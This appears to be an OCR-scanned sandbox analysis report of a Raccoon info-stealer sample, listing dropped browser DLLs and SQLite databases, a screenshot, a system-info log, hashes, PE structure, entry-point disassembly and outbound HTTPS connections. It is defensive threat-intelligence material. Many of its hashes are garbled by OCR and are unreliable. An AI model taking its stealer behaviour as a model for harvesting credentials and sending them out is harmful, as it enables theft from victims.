C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\msvcp140.dil

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

440120

6.652844702578311

false
12288:MIp4PwrPTIZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s0300c8dHkC2es90V:Mlp4PePozGMA0300c8dHkC2ecl
109F0F02FD37C84BFC7508D4227D7EDS

EF7420141BB15AC334D3964082361A460BFDB975
334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5CIFDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD3¢

false

1..L.IThis program cannot be run in DOS mode....$
@A C..
.@....idata..6....P..

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\nss3.dll

Process:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\nss3.dll

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

1245136

6.766715162066988

false

24576:ido5Js2a56/+VwJIebKj5KYFsRjzx5ZxKV6D1Z4Go/LCiytoxq2Zwn5hCM4AMSRdAY8:Q2aY4w6a0zx5ZWMM7yew8MSRK 1y
02CC7B8EE30056D5912DE54F1BDFC219

AB923DA95705FB81E368AE48FI3D28522EF552FB

1989526553FD1E1E49BOFEAB8036822CA062D3D39C4CAB4A37846173D0F1753D5
OD5DFCF4FB19B27246FA799E339D67CD1B494427783F379267FB2D10D615FFB734711BAB2C515062C078F990A44A36F2D15859B1DACD4143DCC35B5COCEEOQEF

false

@.

. . ..
..@..@.data...tG..

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

336336

7.0315399874711995

false
6144:8bndzEL04gF85K9autiMyEhZ/V3psPyHa9tBel:8bndzELO4pnutiMyAp2z9tBel
BDAF9852F588C86B055C846B53D4C144
03B739430CF9EADE21C977B5B416C4DD94528C3B
2481DA1C459A2429A933D19AD6AES514BD2AE59818246DDB67BOEF44146CED3D8
19D9A952A3DF5703542FA52A5A780C2E04D6A132059F30715954EAC40CD1C3F3B119A29736D4A911BEBS086AFE08A54A7482FA409DFD882BAC39037F9EECD7E

false

............................................... 1..L.IThis program cannot be run in DOS mode....$........1...Pi.Pi.Pi.(..Pi.F2h.Pi.F2j.Pi.F2I.Pi.F2m.Pi.0h.Pi.T3h.Pi.P
..PE.L..@.\ "l ) @ @i P oo Xt )P T
.@..@.reloc

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssdbm3.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

92624

6.639527605275762

false
1536:YVNGVOt0VjOJkbH8femxfRVMNKBDUOQWL1421GIkxERC+ANCFZ0Z/6tNRCwI41Pc:+NGVOIBZbcGmxXMcBgmzoCUZoZebHPAT
94919DEAI9C745FBB01653F3FDAE5S9C23

99181610D8C9255947D7B2134CDB4825BD5A25FF
BE3987A6CD970FF570A916774EB3D4E1EDCE675E70EDAC1BAF5E2104685610B0

1A3BB3ECADD76678A65B7CB4EBE3460D0502B4CA96B1399F9E56854141C8463A0CFCFFEDF1DEFFB7470DDFBAC3B608DC10514ECA196D19B70803FBB02188E
5E

false

L.IThis program cannot be run in DOS mode....$........Z.Y.4.Y.4Y.4P..U.4..5[4.y.Q.4..7.X.4..1.5.4..0.R.4{5.[4..

C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\pridap60.dll

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

24016

6.532540890393685

false
384:TQIMOeAdiNcNUO3qgpw6MnTmJIkOIIEEHANDI3VDG8A30PLondJJs2z:KMaNgh6MTmVIIEK2p/DG8MIsQ
6099C438F37E949C4C541E61E88098B7

0ADO3A6F626385554A885BD742DFE5B59BC944F5
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C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\pridap60.dll

SHA-256: 46B005817868F91CF60BAAOS2EE96436FC6194CE9AG61E93260DF5037CDFA37A5
SHA-512: 97916C72BF75C11754523E2BC14318A1EA310189807AC8059C5F3DC1049321E5A3F82CDDD62944EA6688F046EE02FF10B7DDF8876556D1690729E5029EA414A9
Malicious: false
Preview:
| A @i 1..L.IThis program cannot be run in DOS mode....$.......5: " wq[.$q[.$q[.$x#.$s[.$.9.%s[.$.9.%p[.$.9.%{[.$.9.%z[.$S;.%s[
.$.8.%t[.$9[.$=[.$.8.%t[.$.8.%p[.$.8.$p[.$.8.%p[.$Richq[.$........PE.L...@\.......... M e %....
LS LT L1.@... .0, text...2. rdata. .@..@.data...4...@. ...Isrc.

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\qipcap.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 16336

Entropy (8bit): 6.437762295038996

Encrypted: false

SSDEEP: 192:aPgr1ZCh2vGJ7b20gKvFej7xOKDWpH3VUA397Ae+PjPonZwC7Qm:aYpZPGJIP209F4vDG8A30PLoNZWC7X

MDS5: F3A355D0B1AB3CC8EFFCC90C8A7B7538

SHA1L: 1191F64692A89A04D060279C25E4779C05D8C375

SHA-256: 7A589024CFOEEB59F020F91BE4FE7EEOCI0694C92918A467D5277574AC25A5A2

SHA-512: 6A9DB921156828BCE7063E5CDC5EC5886A13BD550BABED88CI9FAGE7869ECFBAODOB7953A4932EB8381243CD95E87C98B91CI0DAEB2BOACD7EE87BE114A91
A9E

Malicious: false

Preview:

.S6.7W..7W..7W..>/.5W...5.5W...5..6W...5. >W...5..<W...7..4W.
......................... $.P..@. Ko P.....

L.!IThis program cannot be run in DOS mode....$

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\softokn3.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 144848

Entropy (8bit): 6.54005414297208

Encrypted: false

SSDEEP: 3072:8Af6suip+|7FEk/0Jz69sFaXeu9CoT2nIVFetBW3D2xkEMk:B6POsFACoT20eYMzMk

MDS5: 4EBDF049F3459FA94AB6AD387F3561AC

SHA1L: 06ED392BC29AD9ID5FCO5EE254C2625FD65925114

SHA-256: 25A4DAE37120426AB060EBB39B7030B3E7C1093CC34B0877F223B6843B651871

SHA-512: 3DD4A86F83465989B2B30C240A7307EDD1B92D5C1D5C57D47EFF287DCIDAA7BACE157017908D82E00BE9OFO8FF5BADB68019FFCID881440229DCEA5038F61C
6

Malicious: false

Preview:

[ TP
...rdata...D.

C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ucrtbase.dll

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1142072

Entropy (8bit): 6.809041027525523

Encrypted: false

SSDEEP: 24576:bZBmnrh2YVAPROs7Bt/tX+/APcmcvIZPoy4ThK:FBmF2lleaAPgb

MDS5: D6326267AE77655F312D2287903DB4D3

SHAL: 1268BEFSE2CA6EBC5FB974FDFAFF13BESBA7574F

SHA-256: 0BB8C77DE8SOACFIC43DE59A8FD75E611CC3EB8200C69F11E94389E8AF2CEB7A9
SHA-512: 11DB71D286E9DF01CBO5ACEFOE639C307EFA3FEF8442E5A762407101640AC95F20BAD58F0A21A4DF7DBCDA268F934B996D9906434BF7E575C4382281028F64D
Malicious: false

Preview:

Peeereeannn @A...
..@....idata..6...
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C:\Users\luser\AppData\LocalLow\eE8sF0yG2eQ6fT7\vcruntime140.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

83784

6.890347360270656

false

1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39nil35kU2yecbVKHHwhbfughZyk: AQXQNVDeHFtO5d/A39ie6yechVKHHwWJIF
7587BF9CB4147022CD5681B015183046

F2106306A8F6FODASAFB7FC765CFA0757AD5A628
C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBDOF142A7BF031C14D

0B63E4979846CEBA1B1ED8470432EA6AA18CCAG6B5F5322D17B14BCODFA4B2EEO9CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E9!
F

false

MZ.oiiiiiiiee @ e 1..L.IThis program cannot be run in DOS mode....$.......... NE...E..E...".G..LAN..E..lL..... U....... V... A D.....

C:\Users\user\AppData\LocalLow\frAQBc8Wsa

Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

File Type: SQLite 3.x database, last written using SQLite version 3032001

Category: dropped

Size (bytes): 40960

Entropy (8bit):  0.792852251086831

Encrypted: false

SSDEEP: 48:2i3nBA+I1Y1PJzrQURCVE9V8MXODOHSFINUfAIGUGYFoNSs8LKvUf9KVyJ7hU:pBCJyC2V8MZyFIBAIG4oNFeymw
MD5: 81DB1710BB13DA3343FCODFIF00BE49F

SHA1L: 9B1F17E936D28684FFDFA962340C8872512270BB

SHA-256: 9F37C9EAF023F2308AF24F412CBD850330C4EF476A3F2E2078A95E38DOFACABB

SHA-512: CF92D6C3109DAB31EF028724F21BAB120CF2F08F7139E55100292B266A363E579D14507F1865D5901E4B485947BE22574D1DBA815DE2886C118739C3370801F1
Malicious: false

Preview:

SQLite format 3...... @ e ettt ettt e e et etee e teeette ettt eteeaateeaste ettt eteeeaeeeeaeeeteeeteebeeeteeasteeateeateeanreennreareen
C:\Users\luser\AppData\LocalLow\imUIOHTtWMK.zip E
Process: C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File Type: Zip archive data, at least v2.0 to extract
Category: dropped
Size (bytes): 62251
Entropy (8bit):  7.994650661960675
Encrypted: true
SSDEEP: 1536:t(LKWBZjgRtWCtLKC6BePQsdXeFJkreMmm3yJQWMwGgdE:tm0ZmYrOPdXgQZmmCJtkD
MD5: 8EOFACFDF43D4CE1F29FA8D546455D38
SHA1L: EFC1BDC63B0725BAB690D691F1EAS8CF67F5A146
SHA-256: 375A257E24D5968691ACF8521EC432C87FC57414C530EB675653948AF7B2A902
SHA-512: D546400CEEF98903516181F05D20FA87ASE6042F2E97AS55F455A2E07AD4ADDA73BF428EAS50B19DAB3E49B8F5B91CABFEF2BA96ESDE3D6D3217B99D837361F03(

8
Malicious: false
Preview:

G..h...z6g#.I"..L7+0.j..g.|..[.E......gy.....p...n..Fk..LR..

PWRtl.....7....... System Info.txtUT...2.4'2.4°?.4°'uS.j.0.}....<&P.I..O0...t........ Y
OR..x:..(..Y...0..04.D2..Y4..{e..(.p.1F.-"....j[l.0..9B..}...7)...@.v..k.~]..Z.an...Z[.v..r-..
el STALQL LA X.N).....<....(?%0.*..

C:\Users\luser\AppData\LocalLow\machineinfo.txt

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
ASCII text, with CRLF, CR line terminators
dropped
1079
5.257779537140136
false
24:eGeijn7H/f3eky53Net51IvNxBghKQa77CGik/R8RA2Tvqzh:5eK7H3Q3NetcBg2CGik/ROA+0h
4D56E2CC93E95769F64921D773DDD348
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C:\Users\user\AppData\LocalLow\machineinfo.txt

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

A7C873043EC688FC1F71686CFC926521E27D109D
624C196AC850A006600246BE98FFC8C1824100C96CB075B876B7A919F163A231

C73B04E9BA46F061ABCC89576C2BD76F10B166BFBEAB3A30F9881534C78C374286C1B8CF1D160710F6394DC55F6BFC739D7BB7F5C7CEBESFF94425FF9BAA4CE
BF

false

Raccoon | 1.7.2...Build compile date: Sun Jan 10 14:58:01 2021...Launched at: 2021.02.23 - 18:04:45 GMT...Bot_ID: DO6ED635-68F6-4E9A-955C-4899F5F57B9A
_user...Running on a desktop......-----—----=-...... - Cookies: 1... - Passwords: 0... - Files: 0......System Information:... - System Language: English... - System TimeZone: -
8 hrs... -IP:84.17.52.38... - Location: 47.431702, 8.575900 | Zurich, Zurich, Switzerland (8152)... - ComputerName: 704672... - Username: user... - Windows version:
NT 10.0... - Product name: Windows 10 Pro... - System arch: x64... - CPU: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (4 cores)... - RAM: 8191 MB (5431 MB used)... -
Screen resolution: 1280x1024... - Display devices:....0) Microsoft Basic Display Adapter......--=-=--------...... Installed Apps: ....Adobe Acrobat Reader DC (19.012.2003
5)....Google Chrome (85.0.4183.121)....Google Update Helper (1.3.35.451)....Java 8 Update 211 (8.0.2110.12)....Java Auto Updater (2.8.211.12)....Update

C:\Users\luser\AppData\LocalLow\rQF69AzBla

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

SQLite 3.x database, last written using SQLite version 3032001

dropped

20480

0.6951152985249047

false
24:TLbJLbXaFpEO5bNmISHN06UwcQPx5fBoplvin2QOYiUG3PaVrX:T5LLOpEOS5J/Kn7UluBoplvZXC/alX
EA7F9615D77815B5FFF7C15179C6C560

3D1D0OBAC6633344E2B6592464EBB957D0D8DD48F
A5D1ABB57C516F4B3DF3D18950AD1319BA1A63F9A39785F8FOEACEOA482CABL7
9C818471F69758BD4884FDBI9B543211CIE1EE832AC29C2C5A0377C412454E8C745FB3F38FF6E3853AE365D04933COEC55A46DDA60580D244B308F92C57258C9¢

false

SQLite fOrmat 3......@ .ovveeeeeieieeee s Coven Lo TR T TSSOSO R UPPRUPRPP

C:\Users\luser\AppData\LocalLow\screen.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, frames 3
dropped

68991

7.784000355213806

false

1536:P+A+y9G75TNAAroFipWaYsJjCBCQOXc/EaeWe5gKerF:WA+y9GJI6NUJI2NOM/beQKeJ
CCE5787ABOFOF8B727DD65FFBB0AAACKF

B17ABABCA1C4FBBD9490117E4B48FB499BD8ABA6
67902855C8B97B854C0B930FF22B4F33150B4E1FA7071D6AD5ASEC87E71A44B1
70F7A1D3E87B0OF759914B42BBF74FEDF82F2C8815B556A3971C08F4773DC7D54B2DD27FBASAA9ESDD7382C5D9BA17D1637E186335CBB08754A4876B57D8106E

false

.C.. 31.....2-/%3JANMIAHFRWARWOXFHf.hoz}...OC....v......C......<U<.THT..... "
1A..Qa."q.2... #B...R..$3br....... %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz...
11.AQ.aq."2...B.... #3R..br...$4.%

f>y.H.g.

C:\Users\user\AppData\LocalLow\sqlite3.dll

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Users\user\Desktop\Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe

PE32 executable (DLL) (console) Intel 80386, for MS Windows

dropped

916735

6.514932604208782

false
24576:BIDWWdAXW2SBNT]lY24eJoyGttl3+FZVpsqg/2W:BIDvX0BY 24eJoyctl3+FTX
F964811B68F9F1487C2B41E1AEF576CE
B423959793F14B1416BC3B7051BED58A1034025F
83BC57DCF282264F2B00C21CE0339EAC20FCB7401F7C5472C0CDOC014844E5F7

565B1A7291C6FCB63205907FCD9E72FC2E11CA945AFC4468C378EDBAB82E2F314C2AC21A7263880FF7D4B84C2A1678024C1AC9971AC1C1DE2BFA4248ECOF98
4

false
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C:\Users\user\AppData\LocalLow\sqlite3.dll

Preview:

.@.0@.idata..H.

@.@B/19..

Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit): 7.398265311987017
TrID: e Win32 Executable (generic) a (10002005/4)
99.94%
e Clipper DOS Executable (2020/12) 0.02%
e Generic Win/DOS Executable (2004/3) 0.02%
e DOS Executable Generic (2002/1) 0.02%
e VXD Driver (31/22) 0.00%
File name: Securitelnfo.com.Trojan.GenericKDZ.73124.19170.exe
File size: 555520
MD5: 060bd14ae501d8dae94cc73672ab195b
SHA1L: e16be2044b73bfb717d92d13968eac473d64b8fc
SHA256: 757c6cch2021bb12cb15fafcd4d748ef2d347ed4ch51076
162563cbfelea0le0
SHA512: 4c39ee69a9e1f8511c8c37a714cd2e9ad4f5223fa9c356a
8c0d466d273caeba2c391107822111de63ebfbca53b4asd
601e90f03d5317914dc53192ef8fef28704
SSDEEP: 12288:vOR651v0Rkfohu9i0w1lUP/e9GjvMeli+BF40:v0a

sRkA7IUu9mMe1Vf40

File Content Preview: .

File Icon

Icon Hash: 709c28c4c4edb8d4

Static PE Info

General

Entrypoint: 0x403740

Entrypoint Section: text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE
DLL Characteristics: TERMINAL_SERVER_AWARE

Time Stamp: Ox5E80AE8B [Sun Mar 29 14:19:55 2020 UTC]
TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 5

OS Version Minor: 1

File Version Major: 5

File Version Minor: 1

Subsystem Version Major: 5

Subsystem Version Minor: 1

Import Hash: 113ab027842a74f801bdc92a0f80850f

Entrypoint Preview

Instruction
mov edi, edi
push ebp
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Instruction

mov ebp, esp

call 00007F2DC0B93B4Bh
call 00007F2DC0B8BB66h
pop ebp

ret

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

int3

mov edi, edi

push ebp

mov ebp, esp

push FFFFFFFEh

push 00474168h

push 0040B2A0h

mov eax, dword ptr fs:[00000000h]
push eax

add esp, FFFFFF98h

push ebx

push esi

push edi

mov eax, dword ptr [00476090h]
xor dword ptr [ebp-08h], eax
xor eax, ebp

push eax

lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax

call dword ptr [0046D0OAOh]

cmp dword ptr [0086CF60h], 00000000h

jne 00007F2DC0OB8BB60h
push 00000000h

push 00000000h

push 00000001h

push 00000000h

call dword ptr [0046D09Ch]
call 00007F2DCOB8BCE3h
mov dword ptr [ebp-6Ch], eax
call 00007F2DC0OB9577Bh
test eax, eax

jne 00007F2DCOB8BB5Ch
push 0000001Ch

call 00007F2DCOB8BCAOh
add esp, 04h

call 00007F2DC0OB950D8h
test eax, eax

jne 00007F2DCOB8BB5Ch
push 00000010h

call 00007F2DC0OB8BC8Dh
add esp, 04h

Copyright null 2021
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Instruction

push 00000001h

call 00007F2DCOB90E63h

add esp, 04h

call 00007F2DCOB94FEBh

mov dword ptr [ebp-04h], 00000000h
call 00007F2DC0B94BCFh

test eax, eax

Data Directories

Name

IMAGE_DIRECTORY_ENTRY_EXPORT
IMAGE_DIRECTORY_ENTRY_IMPORT
IMAGE_DIRECTORY_ENTRY_RESOURCE
IMAGE_DIRECTORY_ENTRY_EXCEPTION
IMAGE_DIRECTORY_ENTRY_SECURITY
IMAGE_DIRECTORY_ENTRY_BASERELOC
IMAGE_DIRECTORY_ENTRY_DEBUG
IMAGE_DIRECTORY_ENTRY_COPYRIGHT
IMAGE_DIRECTORY_ENTRY_GLOBALPTR
IMAGE_DIRECTORY_ENTRY_TLS
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT
IMAGE_DIRECTORY_ENTRY_IAT
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

IMAGE_DIRECTORY_ENTRY_RESERVED

Sections

Name Virtual Address Virtual Size Raw Size
text 0x1000 Ox6ba71 0x6bc00
.rdata 0x6d000 0x83ce 0x8400
.data 0x76000 0x3f6f64 0x2800
.yodoje 0x46d000 0x401 0x600
.kemafuy 0x46e000 0x179 0x200
Als 0x46f000 0x9 0x200
.rsrc 0x470000 0xa620 0xa800
.reloc 0x47b000 0x5b4c 0x5c00
Resources

Name RVA

PUS 0x476d38
RT_CURSOR 0x477968
RT_ICON 0x470500
RT_ICON 0x4713a8
RT_ICON 0x471c50
RT_ICON 0x472318
RT_ICON 0x472880
RT_ICON 0x474e28
RT_ICON 0x475ed0
RT_ICON 0x476858
RT_STRING 0x477c90

Copyright null 2021

Virtual Address
0x0
0x74af0
0x470000
0x0

0x0
0x47b000
0x0

0x0

0x0
0x73el8
0x73ddo
0x0
0x6d000
0x0

0x0

0x0

Xored PE

False

False

unknown

False

False

False

False

False

Size

0xbf7

0x134
Oxea8
0x8a8
0x6¢c8
0x568
0x25a8
0x10a8
0x988
0x468
0x134

Virtual Size
0x0
0x28
0xa620
0x0
0x0
0x1938
0x0
0x0
0x0
0x18
0x40
0x0
0x184
0x0
0x0

Is in Section

.rdata

.rsrc

.reloc

.rdata

.rdata

.rdata

0x0

ZLIB Complexity File Type Entropy

0.860591737964 data 7.82132041146

0.273822206439 data 4.56486072359
unknown unknown unknown
0.0130208333333 data 0.0

0.02734375 data 0.0
0.02734375 data 0.0
0.557942708333 data 5.74216282025
0.228855298913 data 2.60911160945

Type

ASCII text, with very long lines, with no line
terminators

data
data
data
data
GLS_BINARY_LSB_FIRST
data
data
data
GLS_BINARY_LSB_FIRST

data

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABL
E, IMAGE_SCN_MEM_READ

Language Country
Tatar Russia
Tatar Russia
Tatar Russia
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Name

RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_STRING
RT_ACCELERATOR
RT_GROUP_CURSOR

RT_GROUP_ICON
RT_VERSION

Imports

DLL
KERNEL32.dll

Version Infos

Description
InternalName
FileVersions
LegalCopyrights
ProductVersions

Translation
Possible Origin

Language of compilation system

Tatar

Network Behavior

Network Port Distribution

Total Packets: 105

® 53 (DNS)
® 443 (HTTPS)

Copyright null 2021

RVA

0x477dc8
0x478140
0x4783c8
0x478be0
0x4792d8
0x479940
0x47a050
0x477930
0x477aa0

0x476¢ccO
0x477ab8

Size Type Language Country
0x374 data Tatar Russia
0x286 data Tatar Russia
0x812 data Tatar Russia
0x6f2 data Tatar Russia
0x668 data Tatar Russia
0x70a data Tatar Russia
0x5d0 data Tatar Russia
0x38 data Tatar Russia
0x14 Lotus unknown worksheet or configuration, revision Tatar Russia
Ox1
0x76 data
Ox1d4 data Tatar Russia
Import

GetModuleHandleExA, SetEndOfFile, FindResourceW, MapUserPhysicalPages, LoadResource, HeapAlloc,
LoadLibraryExW, InterlockedIincrement, ZombifyActCtx, CreateDirectoryW, LockFile, GetModuleHandleW,
GetTickCount, GenerateConsoleCtrlEvent, GetConsoleAliasesA, ReadConsoleOutputA, GetLocalelnfoW,
GetFileAttributesA, GetTimeFormatW, HeapValidate, SetConsoleCursorPosition, GetFileAttributesW, GetAtomNameW,
GetCompressedFileSizeA, IstrcatA, ExitThread, FindNextVolumeMountPointW, CreateJobObjectA, GetProcAddress,
CreateTimerQueueTimer, LocalAlloc, SetConsoleOutputCP, VirtualLock, InterlockedDecrement, InitializeCriticalSection,
DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetCommandLineA, HeapSetinformation,
GetStartupIinfow, GetModuleFileNameW, RaiseException, EncodePointer, DecodePointer, TerminateProcess,
GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent,
IsProcessorFeaturePresent, IsBadReadPtr, InitializeCriticalSectionAndSpinCount, QueryPerformanceCounter,
GetCurrentThreadld, GetCurrentProcessld, GetSystemTimeAsFileTime, ExitProcess, GetModuleFileNameA,
FreeEnvironmentStringsW, WideCharToMultiByte, GetEnvironmentStringsW, SetHandleCount, GetStdHandle,
GetFileType, TIsAlloc, TIsGetValue, TIsSetValue, TIsFree, SetLastError, GetLastError, HeapCreate, WriteFile,
OutputDebugStringA, WriteConsoleW, OutputDebugStringW, LoadLibraryW, SetFilePointer, GetConsoleCP,
GetConsoleMode, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, HeapReAlloc, HeapSize,
HeapQuerylnformation, HeapFree, MultiByteToWideChar, RtlUnwind, SetStdHandle, GetStringTypeW, LCMapStringW,
CreateFileW, CloseHandle, FlushFileBuffers

Data
calinilimodumator.exe
7.0.0.23

Vsekdag

67.0.20.45

0x0409 0x22fc

Country where language is spoken Map

Russia
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TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Feb 23, 2021 10:03:12.724379063 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:12.790421009 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.790678024 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:12.797638893 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:12.863038063 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.864845991 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.864870071 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.864888906 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.865036011 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:12.874351025 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:12.940181971 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:12.990703106 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:13.038450003 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:13.147147894 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196690083 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196712971 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196727991 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196743965 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196755886 CET 443 49736 95.216.186.40 192.168.2.6
Feb 23, 2021 10:03:13.196906090 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:13.196933031 CET 49736 443 192.168.2.6 95.216.186.40
Feb 23, 2021 10:03:27.170317888 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.211107969 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.211282015 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.215962887 CET 49745 443 192.168.2.6 104.21.50.15
Feb 23, 2021 10:03:27.257997990 CET 443 49745 104.21.50.15 192.168.2.6
Feb 23, 2021 10:03:27.260909081 CET 443 49745 104.21.50.15 192.168.2.6
